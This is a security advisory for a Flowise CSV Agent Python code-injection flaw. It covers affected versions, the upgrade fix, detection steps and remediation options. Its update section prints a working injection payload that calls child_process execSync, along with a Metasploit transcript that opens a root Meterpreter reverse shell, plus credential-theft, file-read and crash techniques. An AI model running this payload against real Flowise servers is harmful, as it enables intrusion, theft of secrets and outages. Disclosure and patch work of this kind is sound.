CVE-2026-69255: Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

The CSV Agent in CSVAgent.ts takes the uploaded file string, splits it on commas and keeps the last part. It then places that part into a Python string with a JavaScript template literal: base64_string = "${base64String}". A value containing a closing double quote followed by Python code breaks out of the string. The denylist in validatePythonCodeForDataFrame() only checks code written by the LLM, not this first block, so the injected code runs unchecked.

Inside Pyodide, the js bridge exposes the host Node.js process. The reporter used it to load child_process and call execSync. The payload cannot contain commas, because the input is split on them.

An attacker needs a Flowise login that can create or run a chatflow (the CVSS vector in the advisory is network, low complexity, low privileges). The reporter's Metasploit module authenticated, created a chatflow and opened a Meterpreter session. In their container Flowise ran as root (PID 1). They also read credentials such as FLOWISE_PASSWORD and the database path, read arbitrary files, and crashed the Node.js process through native binding calls. Anything Flowise can reach, such as model API keys, databases and internal services, is exposed.

The npm packages flowise and flowise-components at version 3.1.2 or earlier are affected. Only instances that include the CSV Agent node are at risk. Check the installed versions:

npm ls flowise flowise-components

For Docker deployments, check the image tag you run. Version 3.1.2 is the one the reporter exploited.

Upgrade flowise and flowise-components to 3.1.3.

npm install -g [email protected]

The fix in pull request 6499 does not patch the node. It removes the CSV Agent and the Airtable Agent, deletes pythonCodeValidator.ts, and drops the pyodide dependency. Chatflows that use the CSV Agent stop working after the upgrade. The advisory lists no other workaround. Until you upgrade, restrict who can create or edit chatflows and avoid running Flowise as root.

Look in saved chatflows and in the Flowise database for CSV Agent nodes whose file value contains a double quote, import js or child_process. Check Flowise logs for CSV Agent runs followed by unexpected child processes spawned by the Node.js process. Review outbound connections from the Flowise host or container, and any new chatflows created by accounts that do not normally build flows. If a chatflow ran, treat FLOWISE_PASSWORD, API keys and stored credentials as exposed and rotate them.

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
2. Pyodide js bridge provides access to the host Node.js process
3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

---

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

• CVE-2026-41264 (CSV Agent regex bypass)
• CVE-2026-41265 (Airtable Agent sandbox bypass)
• CVE-2026-46442 (NodeVM sandbox escape)

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.